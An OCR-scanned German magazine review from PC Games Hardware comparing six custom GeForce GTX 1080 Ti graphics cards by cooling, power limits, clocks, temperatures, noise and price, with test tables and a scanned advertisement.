Geforce GTX 1080 Ti: Sechs enthu- 
siastische Designs zwischen 750 
und rund 900 Euro im Vergleich. 
Nachdem Sie wissen, wie wir tes- 
ten, kónnen wir endlich loslegen. 
Vorweg: Jede der analysierten 
Grafikkarten bereitet Freude, die 
erzeugten Bildraten sind über je- 
den Zweifel erhaben. Sogar die 
Ultra-HD-Auflósung verliert grofse 
Teile ihres Schreckens - mit einer 
übertakteten Geforce GTX 1080 Ti 
regiert flüssige Schónheit. 


Fünf der sechs getesteten Partner- 
karten verfügen über ein auf Axial- 
belüftung basierendes Kühldesign, 
nur eine setzt auf Wasserkühlung. 
Letztere genießt bei Silent-Feti- 
schisten und Übertaktern einen 
guten Ruf, da sie die jeweils besten 
Resultate erzielt. Aus diesem Grund 
ergänzt die GTX 1080 Ti Custom 
Loop aus dem Hause Caseking das 
Ensemble. Der Versender bietet ein 
solches Modell mit grofser Kom- 
ponentenwahl im Rahmen seines 
„King Моа“-Ѕегуісе an und hat uns 
ein Muster zukommen lassen. 


Kühler: So stark stille Wasser auch 
sind, die luftgekühlten Versionen 
der Nvidia-Karte müssen sich kei- 
neswegs verstecken. Die Interna 
und Design-Richtlinien sind ein 
gut gehütetes Geheimnis, doch es 
scheint, als hátte Nvidia seinen Part- 
nern den Rat gegeben, den Dual- 
Slot-Rahmen zu sprengen. Keines 
der fünf Modelle gibt es nur mit 
den Standardmaßen von 3,5 Zenti- 
metern Gesamthóhe und 10 Zenti- 
metern Platinenbreite. Stattdessen 
kommen 2,5- oder echte Triple-Slot- 
Kolosse zum Einsatz; die Hóhe der 
Karten startet bei 4,5/4,6 cm (MSI, 
Inno 3D, Asus) und endet bei 5,3 
(Zotac) bis 5,5 cm (Gigabyte). Für 
Sie als Interessenten bedeutet das, 
dass auf jeden Fall zwei Slots unter 
der Grafikkarte benótigt werden, 
um den Lüftern Platz zum Ansau- 
gen bereitzustellen. Wer diesen 
Platz nicht zur Verfügung hat, muss 
entweder auf die Referenkarte aus- 
weichen oder bei den günstigeren 


Custom-Designs zugreifen - wir 
planen entsprechende Tests für die 
kommende Ausgabe. 


Herstellerdesigns der Geforce GTX 1080 Ti - mehr unter www.pcgh.de/1080ticustoms 


Hersteller | Produkt Basistak Typ. Boost | Speichertakt (MHz) Kühlsystem Strombuchsen | Powerlimit (Std./Max.) š 
Nvidia et al. | GTX 1080 Ti Founder's Edition .480 MHz 1.582 MHz 5.508 MHz 2 Slots, 1 x Radial 1 x 8-/1 x 6-Pol 250/300 Wa 3 
Asus GTX 1080 Ti Poseidon Unbekannt Unbekannt Unbekannt Hybrid (Luft & Wasser) 2 x 8-Po Unbekannt e 
Asus GTX 1080 Ti Strix 011G .569 MHz 1.683 MHz 5.508 MHz 2,5 Slots, 3 x Axial 2 x 8-Po 275/330 Wa 5 
Asus GTX 1080 Ti Strix .480 MHz 1.582 MHz 5.508 MHz 2,5 Slots, 3 x Axial 2 x 8-Po 250/k. A. Wa Ë 
Asus GTX 1080 Ti Turbo .480 MHz 1.582 MHz 5.508 MHz 2 Slots, 1 x Radial x 8-/1 x 6-Po 250/k. A. Wa z š 
EVGA GTX 1080 Ti FTW3 ICX .569 MHz 1.683 MHz 5.508 MHz 2 Slots, 3 x Axial 2 x 8-Po 280/k. A. Wa 2 2 
EVGA GTX 1080 Ti SC2 ICX 556 MHz .670 MHz 5.508 MHz 2 Slots, 2 x Axial x 8-/1 x 6-Po 250/k. A. Wa E E 
EVGA GTX 1080 Ti SC Black Edition .556 MHz 1.670 MHz 5.508 MHz 2 Slots, 2 x Axial x 8-/1 x 6-Po 250/k. A. Wat 3 $ 
Gigabyte GTX 1080 Ti Aorus Xtreme Ed. .607 MHz 1.721 MHz 5.616 MHz 2,5 Slots, 3 x Axial 2 x 8-Po 250/375 Wa т 8 
Gigabyte GTX 1080 Ti Aorus .569 MHz 1.683 MHz 5.508 MHz 2,5 Slots, 3 x Axial 2 x 8-Po 250/375 Wa E š 
Gigabyte GTX 1080 Ti G1 Gaming 11G .518 MHz .632 MHz 5.508 MHz 2 Slots, 3 x Axial x 8-/1 x 6-Po 250/k. A. Wa Б š 
nno 3D GTX 1080 Ti Black Edition Unbekannt Unbekannt Unbekannt Hybrid-AiO-Wakü Unbekannt Unbekannt 33 
nno 3D GTX 1080 Ti iChill X4 Ultra .607 MHz .721 MHz 5.702 MHz 2,5 Slots, 3 + 1 Axial x 8-/1 x 6-Po 270/k. A. Wa En 
nno 3D GTX 1080 Ti iChill X4 .569 MHz 1.683 MHz 5.702 MHz 2,5 Slots, 3 + 1 Axial x 8-/1 x 6-Po 270/k. A. Wa = 5 
ппо 30 GTX 1080 Ti iChill ХЗ Ultra .607 MHz 1.721 MHz 5.702 MHz 2,5 Slots, 3 x Axial x 8-/1 x 6-Po 270/315 Wa = = 
ппо 30 GTX 1080 Ti iChill ХЗ .569 MHz 1.683 MHz 5.702 MHz 2,5 Slots, 3 x Axial x 8-/1 x 6-Po 270/k. A. Wa E E 
nno 3D GTX 1080 Ti Gaming OC 1.556 MHz .670 MHz 5.508 MHz 2 Slots, 2 x Axial x 8-/1 x 6-Po 270/k. A. Wa = E 
nno 3D GTX 1080 Ti Twin X2 1.480 MHz 1.582 MHz 5.508 MHz 2 Slots, 2 x Axial x 8-/1 x 6-Po 250/k. A. Wa Е 3 
KFA2 GTX 1080 Ti Hall of Fame Unbekannt Unbekannt Unbekannt 2,5 Slots, 3 x Axial 2 x 8-Pol (vmtl.) Unbekannt t š 
KFA2 GTX 1080 Ti ЕХОС Unbekannt Unbekannt Unbekannt 2 Slots, 2 x Axial x 8-/1 x 6-Po Unbekannt = E 
anli GTX 1080 Ti Blower Fan 1.480 MHz .582 MHz 5.508 MHz 2 Slots, 1 x Radial x 8-/1 x 6-Po 250/k. A. Wa ER 
MSI GTX 1080 Ti Sea Hawk EK Unbekannt Unbekannt Unbekannt Fullcover-Wakü Unbekannt Unbekannt 8 Š 
SI GTX 1080 Ti Sea Hawk X 1.544 MHz .657 MHz 5.508 MHz Hybrid-AiO-Wakü x 8-/1 x 6-Po Unbekannt z E 
SI GTX 1080 Ti Gaming X 11G 1.544 MHz .657 MHz 5.508 MHz 2,5 Slots, 2 x Axia 2 x 8-Po 280/330 Wa 2 5 
5! GTX 1080 Ti Armor OC 1.531 MHz .645 MHz 5.508 MHz 2 Slots, 2 x Axial 1 x 841 x 6-Po Unbekannt E Е 
MSI GTX 1080 Ti Aero OC 1.506 MHz .620 MHz 5.508 MHz 2 Slots, 1 x Radial 1x 8-/1 x 6-Po 250/k. A. Wa ER 
Palit GTX 1080 Ti Super Jetstream .531 MHz .645 MHz 5.508 MHz 2,5 Slots, 2 x Axia 2 x 8-Po 300/k. A. Wa < 5 
Palit GTX 1080 Ti Jetstream 1.480 MHz .582 MHz 5.508 MHz 2,5 Slots, 2 x Axia 2 x 8-Po 300/k. A. Watt = E 
PNY GTX 1080 Ti XLR8 Gaming OC .531 MHz .645 MHz 5.508 MHz 2,5 Slots, 3 x Axia 1 x 841 x 6-Po 250/k. A. Wa E = 
PNY GTX 1080 Ti Blower .480 MHz .582 MHz 5.508 MHz 2 Slots, 1 x Radia 1x 8-/1 x 6-Po 250/k. A. Wa š Е 
Zotac GTX 1080 Ti AMP! Extreme .645 MHz .759 MHz 5.600 MHz 3 Slots, 3 x Axial 2 x 8-Po 320/384 Wa = E 
Zotac GTX 1080 Ti AMP! .569 MHz .683 MHz 5.508 MHz 2 Slots, 2 x Axial 2 x 8-Pol 270/k. A. Wa £ E 
Zotac GTX 1080 Ti Blower .480 MHz .582 MHz 5.508 MHz 2 Slots, 1 x Radia 1 x 8-41 x 6-Po 250/k. A. Wa Se Š 
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GTX 1080 Ti Strix 011G Caseking Kind Mod GTX 1080 Ti Custom Loop 


Trugen die GTX 1080/1070 Strix noch Kühler mit direktem VRM-Kontakt, setzt Asus Caseking montiert einen Fullcover-Wasserkühler auf die Referenzplatine. Hotspots 
diesmal auf eine nicht ganz so effektive Lösung mittels Wärmeleitpad. sind nicht zu befürchten, auch nicht bei den VRMs (kleines Bild). 


Gigabyte Aorus GTX 1080 Ti Xtreme Edition Inno 3D GTX 1080 Ti iChill X3 Ultra 


Gigabyte als Vorbild: Der mächtige Kühler der Aorus nimmt Kontakt zu allen Hitze- Der X3 Ultra offenbart im Test zwar, dass er kaum Reserven für den Sommer bietet, 
quellen auf (GPU, RAM, Wandlerzüge) und eliminiert somit Hotspots. die Spannungswandler der Referenzplatine werden jedoch vom Radiator mitversorgt. 


MSI GTX 1080 Ti Gaming X 11G Zotac GTX 1080 Ti AMP! Extreme 


“| It m ШШ 


г uu T— ШШ 


1 ` 


MSIs Gaming X steht der Aorus nur minimal nach: Die Wandler werden vom Radiator Zotac installiert einen mächtigen Kühler, der sowohl die GPU als auch den RAM be- 
mitgekühlt, der Speicher wird jedoch nur von einer dünnen Platte bedeckt. deckt. Die Spannungswandler müssen mit einem recht kleinen Extrakühler auskommen. 
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Caseking King-Mod-Service: Geforce GTX 1080 Ti Custom Loop 
Basis: Gigabyte GTX 1080 Ti Founder's Edition 

EK Water Blocks EK-FC Titan X Pascal/1080 Ti-Acetal--Nickel 

EK Water Blocks EK-XRES 100 SPC-60 MX PWM inkl. Pumpe 
MagiCool Copper Radiator ll — 240 mm 

CSPC Schlauch 16/10 mm — transparent, 2 m 

EK Water Blocks EK-ACF Fitting 16/10 mm G1/4 — Elox schwarz 
Scythe Slip Stream SY1225SL12LM-P Lüfter, PWM — 120 mm 

EK Water Blocks EK-Cable Y-splitter 2-Ғап PWM (10 cm) 

EK Water Blocks EK-UNI Pumpenhalterung (120-mm-Lüfter) — vertikal 
Bitspower Adapter 1/4 Zoll auf IG 1/4 Zoll — Anti Twist, shiny black 
4-Pin PWM Verlängerung 30 cm — schwarz 


„Custom Loop" ist bei 
Caseking Programm, es darf zwischen 
vielen Teilen gewählt werden. In der 
Tabelle: unsere Test-Konfiguration. 


139 MHz 
MOS „, 


Geforce GTX 1080 TI 


448 buta 6 "us 


Lara Croft giert nach Grafikspeicher. Wenn dieser auch noch schnell ist, werden sogar 
6K-Spielchen móglich (im Bild). Einige Probanden stemmen 6.200 MHz RAM-Takt. 
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Ist das Verhältnis aus Temperatur 
und Lautheit der Bewertungsmafs- 
stab, stellt jedes getestete Kühlde- 
sign eine Verbesserung gegenüber 
der Founders Edition dar. Die 
Kühler sind darauf ausgelegt, die 
im BIOS hinterlegte GPU-Tempera- 
turgrenze (84 °C) niemals zu errei- 
chen. Das heifseste Modell im Test 
ist die Inno 3D X3 Ultra, sie lässt 
bis zu 78 °C zu, doch die Tempe- 
ratur ist zu keiner Zeit der Grund 
für sinkende Boosts. Die Modelle 
von Asus, Gigabyte und MSI sind 
vergleichbar leise, erzielen jedoch 
deutlich geringere Temperaturen. 
Asus' Lüfterkurve peilt 70 °C an, 
Gigabyte und MSI 72 °C. Zotac er- 
reicht maximal 71 °C, wird dabei 
jedoch wesentlich lauter. Zum 
Grund dafür kommen wir gleich. 


Wie erwähnt ist der Grafikprozes- 
sor nicht alles, auch wenn er der 
Hauptverbraucher und -hitzeverur- 
sacher auf der Platine ist. Gigabyte 
zeigt, wie man’s richtig macht: Der 
Kühler bedeckt auch den Speicher 
und die Spannungswandler, kom- 
plettiert von einer Backplate, die 
tatsächlich einen kühlenden und 
nicht nur einen kosmetischen Ef- 
fekt hat. MSI liefert ebenfalls gute 
Arbeit ab - hier muss nur der Spei- 
cher mit einer Aluminiumplatte 
vorliebnehmen -, gefolgt von Inno 
3D. Asus und Zotac verzichten 
bedauerlicherweise darauf, die 
Wandler direkt mithilfe des GPU- 
Radiators zu kühlen. Bei der Strix 
muss es das Sandwich-Prinzip rich- 
ten: Hier liegt eine Metallplatte auf 
den Wandlern und ein dickes Wär- 
meleitpad reicht etwas Abwärme 
an die senkrecht stehenden Kühl- 
rippen - das geht besser. Ähnlich 
sieht es bei Zotacs AMP! Extreme 
aus, wobei die effektive Kühlerflä- 
che der Wandler noch etwas klei- 
ner ausfällt. Das führt zu höheren 
VRM-Temperaturen. 


Platine: Die meisten Hersteller ver- 
wenden eigens kreierte Platinen, 
deren Maße sich den Kühlern an- 
passen - sprich sie wachsen im ein- 
gebauten Zustand in Richtung Ge- 
häusewand. Davon ausgenommen 
ist Inno 3D, der Hersteller nutzt die 
Referenzplatine mit 10 Zentime- 
tern Breite. Das ist kein Grund zur 
Kritik, denn wie wir in der PCGH 
05/2017 ausgeführt haben, hat 
Nvidia das Founder-PCB sinnvoll 
aufgemöbelt. Randnotiz: Die Titan 


Xp basiert auf dem gleichen Plati- 
nendesign wie die GTX 1080 Ti, 
während die alte Titan X (Pascal) 
mit einer schwächeren Spannungs- 
versorgung auskommen muss. 


Welche Custom-Platine die beste 
ist, lässt sich mit Hausmitteln und 
in der Gaming-Praxis nicht ermit- 
teln. Fakt ist, dass eine verbreiterte 
Spannungsversorgung positiv ist: 
Je mehr Wandlerzüge, desto gerin- 
ger die Last und daraus resultie- 
rende Temperatur pro Bauteil. Die 
Hotspots werden ergo zahmer und 
verteilen sich besser auf der Leiter- 
platte. Da das Standard-PCB bereits 
für enorme Stromstärken vorbe- 
reitet ist, sind positive Effekte bei- 
spielsweise durch Zotacs „Power 
Boost“-Hochleistungskondensator 
nicht feststellbar. Auch bezüglich 
des Spulenfiepens verhalten sich 
alle Probanden vergleichbar. Jede 
High-End-Karte fiept, zirpt oder 
rattert unter Last, was nichts mit 
den Lüftern zu tun hat. Die eigene 
Wahrnehmung, die Bildrate, die 
Umgebungsgeräusche und nicht 
zuletzt der Rest des Rechners ent- 
scheiden, ob man das Störgeräusch 
wahrnimmt oder nicht. Ein Denk- 
anstoß: Subjektiv am lautesten rat- 
tert die wassergekühlte Karte von 
Caseking - allein aus dem Grund, 
dass der Rest sehr leise arbeitet. 


Leistung: Das Powerlimit ist bei der 
aktuellen Grafikkartengeneration 
einer der wichtigsten Faktoren zur 
Leistungsbewertung. Je höher der 
im BIOS hinterlegte Wert, desto 
wahrscheinlicher ist es, dass hohe 
Taktraten selbst bei powerintensi- 
ven Spielen gehalten werden kön- 
nen. Die Kehrseite ist, dass Power 
(= Energie) mit Abwärme gleichzu- 
setzen ist, die schnell in Form lau- 
ter Lüfter hörbar wird. Die Power- 
Anforderungen steigen mit der 
Auflösung - in Ultra HD stößt fast 
jede Karte an ihre Wattgrenze. Die 
Hersteller müssen auf der Suche 
nach dem „Sweet Spot“ abwägen: 
Effizienz oder Leistungskrone? Wir 
haben bei jedem Muster das pro- 
grammierte Powerlimit ausgelesen: 


I Zotac AMP! Extreme 320 Watt 
I MSI Gaming X 11G 280 Watt 
I Asus Strix O11G 275 Watt 
I Inno 3D ХЗ (Ultra) 270 Watt 


I Gigabyte Aorus (Xtreme) 250 Watt 
I Caseking Custom Loop 250 Watt 
I Nvidia Founder’s Ed. 250 Watt 
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GTX 1080 Ti: Taktraten unserer Probanden 


Grafikkarte Leerlauf (GPU/RAM) | Youtube (UHD) | Dual-Monitoring Crysis 3 (FHD) The Witcher 3 (UHD) | Anno 2070 (UHD) 
Nvidia GTX 1080 Ti Founder's Edition 139/405 MHz 228/405 MHz 139/405 MHz .747 MHz, 0,962V .658 MHz, 0,900V .531 MHz, 0,843V 
Asus GTX 1080 Ti Strix O11G 240/405 MHz 240/405 MHz 240/405 MHz .924 MHz, 1,050V .860 MHz, 1,000V .823 MHz, 0,962V 
Caseking GTX 1080 Ti Custom Loop 139/405 MHz 215/405 MHz 139/405 MHz .873 MHz, 1,043V .734 MHz, 0,931V .785 MHz, 0,975V 
Gigabyte GTX 1080 Ti Aorus Xtreme Ed. 278/405 MHz 278/405 MHz 278/405 MHz 898 MHz, 0,962V .823 MHz, 0,900V .747 MHz, 0,862V 
Inno 3D GTX 1080 iChill X3 Ultra 278/405 MHz 278/405 MHz 278/405 MHz .974 MHz, 1,000V .898 MHz, 0,931V .835 MHz, 0,893V 
MSI GTX 1080 Ti Gaming X 11G 203/405 MHz 203/405 MHz 203/405 MHz .924 MHz, 1,031V .873 MHz, 0,981V .810 MHz, 0,931V 
Zotac GTX 1080 Ti AMP! Extreme 278/405 MHz 278/405 MHz 278/405 MH .974 MHz, 1,050V .949 MHz, 1,031V | 1.898 MHz, 0,993V 
Bemerkungen: Taktraten in Spielen nach 20 Minuten Aufheizphase ermittelt. Jeweils Minimalwerte. Die Unterschiede zwischen Teillast (Full HD) und Volllast sind groß. 


Die unterschiedliche Zielsetzung der 


Hersteller ist offensichtlich. Caseking ( М O Ol 


operiert nicht am BIOS und übernimmt 


daher den Wert der Founder's Edition. ALPHACOOL — THE FOOLING COMPANY 

Interessant, dass sich auch Gigabyte "I I | ! l 

dazu entschieden hat, den Weg der Ef- — I ] 
erhóhter Takt bei gleicher TDP. Inno e © @ D | Е 
3D, Asus und MSI steigern das Limit be- ^ =! | k ` ш еи 

hutsam, während Zotac die Watt-Keule 

300er-Hürde nimmt. Randnotiz #2: Die s onsored b АІ hacool 

270W bei Inno 3D sind final und auf p y p 

allen Retail-Karten programmiert, nur 


fizienz zu gehen - denn genau das ist 
schwingt und als einziger Hersteller die M ade by C ra І 9 Ғе rri e fro m Ca n ad a 
Vorserienmuster arbeiten mit 280W. 


Ob sich ein üppiges Powerlimit in ho- 
hen Bildraten niederschlägt, hängt 
nicht nur von der Stärke des Kühlers 
ab, sondern auch von der werkseitigen 
Übertaktung. Je höher der (garantierte) 
Basistakt, desto höher fällt der dynami- 
sche Boost aus - aber nur wenn nicht 
vorher Power- oder Temperaturlimit hi- 
neingrätschen! Da auch der Grafikspei- 
cher Energie benötigt, die vom Gesamt- 
budget und somit der GPU abgeht, kann 
erhöhter Speichertakt in ungünstigen 
Situationen Leistung kosten. Gut, dass 
jedes Modell mit werkseitig übertakte- 
tem Speicher über ein ausreichendes 
Wattpolster verfügt. 


Dass die Custom-Designs das Tempera- 
turlimit mithilfe ihrer starken Kühler eli- 
minieren, wissen wir bereits. Somit ist 
das Powerlimit der einzige Faktor, der 
die Karten unter Volllast ausbremsen 
kann. In der Praxis äußert sich das bei 
allen Teilnehmern gleich: Das Power- 
limit wird, sofern nicht gerade in Full 
HD gespielt wird oder der Prozessor li- 
mitiert, zu 100 Prozent ausgereizt. Wer 
(s)eine GTX 1080 Ti in Ultra verwendet, 
operiert folglich ohne Unterlass am Po- 
werlimit. Aufmerksame Leser unserer 


Verbrauchsmessungen haben bemerkt, 
dass die Founder's Edition ihren Spit- АІ р h acool А е һа | ti ich Z. B В bei Н 
zenverbrauch (250W) nicht erreicht. 
Ursächlich ist das Temperaturlimit; 
die Karte muss sich stark drosseln, um c 


Es 


nicht dem Hitzetod anheimzufallen. 


bequem online 
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TEMP 


Gigabytes Aorus Extreme Edition verfügt über eine neuartige Backplate, welche mit- 
hilfe von Wàrmeleitpads der Platine die Hitze entzieht. Herstellereigene Messungen 
(Bild oben) bescheinigen der Lösung klare Temperaturvorteile. 


GRAFIKKARTEN 


Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Produktname 
Hersteller/Webseite 


Mit manuell heraufgesetzter Lüf- 
terdrehzahl wird der Limitfaktor 
Temperatur beseitigt und die Karte 
arbeitet mit 250 Watt (sowie höhe- 
ren Boosts). Genau das ist auch der 
Grund, warum die Caseking Cus- 
tom Loop in den Benchmarks gut 
abschneidet: Sie boostet um gute 
12 Prozent höher als die hitzköpfi- 
ge Referenzkarte und ist somit effi- 
zienter. Die Gigabyte Aorus Xtreme 
Edition erreicht dank der werksei- 
tig erhöhten Frequenzen sogar ein 
noch besseres Fps/Watt-Verhältnis. 


Das bedeutet nicht, dass die Model- 
le von Asus, MSI und Inno 3D inef- 
fizient sind. Das Trio ist dank des 
größeren Wattpolsters in der Lage, 
höhere Minimalboosts zu halten 
als die 250-Watt-Konkurrenz. Fühl- 
bar ist die Differenz von ca. 1.730- 
1.750 zu 1.810-1.835 MHz nicht, 
auf der Suche nach den schnellsten 
Karten führt aber kein Weg an ei- 
nem erhöhten Powerlimit vorbei. 
Das gilt insbesondere für Zotac, 
dessen AMP! Extreme die Bench- 
marks knapp vor der Inno 3D X3 
Ultra anführt. 320 Watt Maximal- 
verbrauch erlauben es der Karte, 


MSI 
GTX M60 Ti Gaming X 116 


Нагйшаге 


MSI (http://de.msi.com) 


selbst den PCGH-Watt-Worstcase, 
Anno 2070 in UHD, mit 1,9 GHz zu 
berechnen. Als einzige Karte stößt 
sie in Crysis 3 (1080p) nicht an ihr 
Powerlimit, dort wird es nur zu ca. 
85 Prozent ausgefüllt. Die Kehrsei- 
te der Medaille ist, dass die AMP! 
Extreme unter Volllast, wenn sie 
sich von der Konkurrenz absetzen 
kann, eindeutig die lauteste Karte 
ist - die bis zu 4,0 Sone erzeugende 
Founder’s Edition ausgenommen. 
Das alte Sprichwort „Von nichts 
kommt nichts“ gilt nach wie vor - 
wie gut, dass sich das Powerlimit 
bei allen Karten mithilfe von Over- 
clocking-Tools anpassen lässt. (rv) 


Fazit Hardware 


GTX 1080 Ti: Herstellerdesigns 
Sechs verschiedene Modelle mussten 
sich beweisen. Die gute Nachricht lau- 
tet, dass jedes einzelne empfehlens- 
wert ist — je nach Präferenz das eine 
mehr als das andere. Wer's besonders 
leise will, greift zur wassergekühlten 
Karte, doch auch mit Luft ist ein an- 
genehmes Betriebsgeräusch möglich, 
sofern die TDP unter 300 Watt bleibt. 


GTX 1080 Ti Aorus Xtreme Ed 
Gigabyte (www.gigabyte.de) 


GTX 1080 Ti AMP! Extreme 


Zotac (www.zotac.com) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


2D-Takt GPU/RAM (Spannung) 


Ca. € 870,-/ausreichend 


Ca. € 890,-/ausreichend 


Ca. € 900,-/ausreichend 


PCGH-Preisvergleich 


www. pcgh.de/preis/ 1599330 


www. pcgh.de/preis/ 1598560 


www.pcgh.de/preis/1593440 


203/405 MHz (0,650 VGPU) 


278/405 MHz (0,650 VGPU) 


278/405 MHz (0,650 VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 
‚Ausstattung (20 %) 
Speichermenge/Anbindung 


.544 (Boost: 1.810+)/1.377 MHz (+17/0 % OC) 
2,18 
1.264 MiByte (352 Bit) 


1.607 (Boost: 1.747-)/1.404 MHz (+13/+2 % ОС) 
2,18 
11.264 MiByte (352 Bit) 


1.645 (Boost: 1.898+)/1.400 MHz (+22/+2 % OC) 
2,25 
11.264 MiByte (352 Bit) 


Speicherart/Hersteller 


1-Gbps-GDDR5X (Micron MT58K256M321-JA110) 


11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 


11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 


Monitoranschlüsse 


2 x Displayport (1.4-ready), 2 x HDMI 2.0b, 1 x DVI-D 


3 x Displayport (1.4-ready), 3 x HDMI 2.06, 1 x DVI-D 


3 x Displayport (1.4-ready), 1 x HDMI 2.0b, 1 x DVI-D 


Kühlung win Frozr VI, 2,5-Slot, 5 Heatp. (1 x 8, 4 x 6 mm), 3 x 90 mm | Eigendesign, Triple-Slot, 6 Heatp. (5 x 8, 1 x 6 mm), 3 x 95 Ice Storm, Triple-Slot, 6 Heatp. (5 x 8, 1 x 6 mm), 3 x 90 mm 
axial, Radi bedeckt УКМ, Platte für RAM; Backplate (o. Pads) |mm axial, Radiator bedeckt VRMs/RAM + Backplate (inkl. Pads) | axial, Radi bedeckt RAM; VRM-Profil; Backplate (ohne Pads) 
Software/Tools/Spiele Afterburner & Gaming App (Tweak-Tools), Treiber = Firestorm (Tweak-Tool), Treiber 


Handbuch; Garantie 


Als Comic (englisch); 3 Jahre 


Gedruckt (deutsch); 4 Jahre nach Registrierung bei Gigabyte 


Faltblatt (dt.); 5 Jahre nach Registrierung bei Zotac 


Kabel/Adapter/Beigaben 


x Strom: 6-auf-8-Pol; Aufkleber 


1 x Strom: 2x6-auf-8-Pol; Aufkleber 


2 x enthalten: 2x6-auf-8-Pol-Strom 


Sonstiges 


Eigenschaften (20 %) 
Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


Custom-PCB mit 12,7 cm Breite und 8+2 Phasen; Lüfter 
drehen ab -64 °C an; TDP: 280 Watt; bootet aktiv 


242 
44/72/72 Grad Celsius 


Custom-PCB mit 11 cm Breite und 12--2 Phasen; „VR Link" 
(viele HDMI-Ports); TDP: 250 Watt; Lüfter drehen ab -58 °С 


2,16 
45/72/72 Grad Celsius 


Custom-PCB mit 12,7 cm Breite; Lüfter drehen ab -52 °C an; 
ausgelesene TDP: 320 Watt 


2,42 
45/71/71 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/1,9 (59 %)/1,9 (59 %) Sone 


0,0 (passiv)/1,7 (57 %)/1,8 (58 %) Sone 


0,0 (passiv)/3,6 (70 %)/3,6 (70 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


15/22/17 Watt 


18/26/20 Watt 


16/24/19 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


277/280/283 Watt (Powertarget: 100 Prozent) 


250/251/252 Watt (Powertarget: 100 Prozent) 


272/319/326 Watt (Powertarget: 100 Prozent) 


Maximale GPU-Übertaktung (UHD-stabil) 


2.075 MHz mit 100 96 Power/Voltage/Fan (+15 96) 


2.075 MHz mit 100 % Power/Voltage/Fan (+19 %) 


2.038 MHz mit 100 % Power/Voltage/Fan (+7 %) 


Maximale RAM-Übertaktung (UHD-stabil) 


6.100 MHz mit 100 % Power/Voltage/Fan (+11 %) 


6.200 MHz mit 100 % Power/Voltage/Fan (+10 %) 


6.200 MHz mit 100 % Power/Voltage/Fan (+11 %) 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU bis 100 %; Powerlimit bis 117 % (= 330W) 


Ja (GPU bis 100 %; Powerlimit bis 150 % (= 375W) 


Ja (GPU bis 100 %; Powerlimit bis 120 % (= 384W) 


Länge/Breite der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


FAZIT 


30 
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27,8 (PCB: 27,8)/4,5 cm; 2 x 8-Pol (vertikal) 
1,16 


© Starker, leiser Kühler 
© З Betriebsmodi via Gaming App 
© Platzbedarf im Gehäuse (Triple-Slot) 


Wertung: 1,56 


29,3 (PCB: 26,7)/5,5 cm; 2 x 8-Pol (vertikal) 
1,17 


© Kompromissloser, sehr guter Kühler 
© Bis zu 375W Powerbudget 
© Platzbedarf im Gehäuse (Triple-Slot) 


Wertung: 1,57 


31,0 (PCB: 28,0)/5,3 cm; 2 x 8-Pol (vertikal) 
1,07 


© Schnellste GTX 1080 Ti 
© Starker Kühler, aber nicht perfekt (VRMs) 
© Riesiger Platzbedarf im Gehäuse 


Wertung: 1,58 


www.pcgameshardware.de 


Geforce GTX 1080 Ti: Herstellerdesigns | GRAFIKKARTEN 


TOP-TECHNIK 


GRAFIKKARTEN 


Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Produktname 
Hersteller/Webseite 


GTX 1080 Ti Strix OC (011G) 


Asus (www.asus.com/de) 


GTX 1080 Ti iChill X3 Ultra 


Inno 3D (www.inno3d.com) 


Caseking 


GTX 1080 fi Custom Loop 


Нагйшаге 


GTX 1080 Ti Custom Loop 


Caseking (www.caseking.de) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Ca. € 880,-/ausreichend 


Ca. € 850,-/ausreichend 


Ca. € 1.200,-/mangelhaft 


PCGH-Preisvergleich 


www.pcgh.de/preis/1587607 


www.pcgh.de/preis/1591589 


Nicht aufgeführt 


2D-Takt GPU/RAM (Spannung) 


240/405 MHz (0,650 VGPU) 


278/405 MHz (0,650 VGPU) 


139/405 MHz (0,650 VGPU) 


3D-Basis-/Boosttakt GPU/RAM (Übertaktung) 
Ausstattung (20 %) 
Speichermenge/Anbindung 


1.569 (Boost: 1.823+)/1.377 MHz («18/0 % OC) 
2,23 
.264 MiByte (352 Bit) 


1.607 (Boost: 1.835+)/1.426 MHz (+18/+4 % ОС) 
2,43 
11.264 MiByte (352 Bit) 


1.480 (Boost: 1.734+)/1.377 MHz (+12/0 % ОС) 
2,33 
11.264 MiByte (352 Bit) 


Speicherart/Hersteller 11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 

Monitoranschlüsse 2 x Displayport (1.4-ready), 2 x HDMI 2.0b, 1 x DVI-D 3 x Displayport (1.4-ready), 1 x HDMI 2.0b, 1 x DVI-D 3 x Displayport (1.4-ready), 1 x HDMI 2.0b 

Kühlung Eigendesign, 2,5-Slot, 6 Heatpipes à 6 mm, 3 x 90 mm axial,  |Eigendesign, 2,5-Slot, 6 Heatp. (2 x 8, 3 x 6 mm), 3 x 90 mm | Komplett-Wakü (u. a. EK-FC Titan X Acetal-Nickel, EK-Xress 100 
Kühlplatte für VRMs und RAM; Backplate (ohne Pads) axial, Radi bedeckt VRMs, Platte für RAM; Backplate (o. Pads) — | SPC-50, Magicool Copper Il, 2 x Scythe Slip Stream 120 mm) 

Software/Tools/Spiele GPU Tweak II (Tweak-Tool), Treiber, Software Codes für VR Mark & 3D Mark Advanced; Treiber - 


Handbuch; Garantie 


Gedruckt (deutsch); 3 Jahre 


Faltblatt (englisch); 2 Jahre 


Gedruckt (deutsch); 2 Jahre 


Kabel/Adapter/Beigaben 


x Strom: 2x6-auf-8-Pol; Kabelbinder 


Mauspad (Stoffmatte) 


Sonstiges 


Eigenschaften (20 %) 
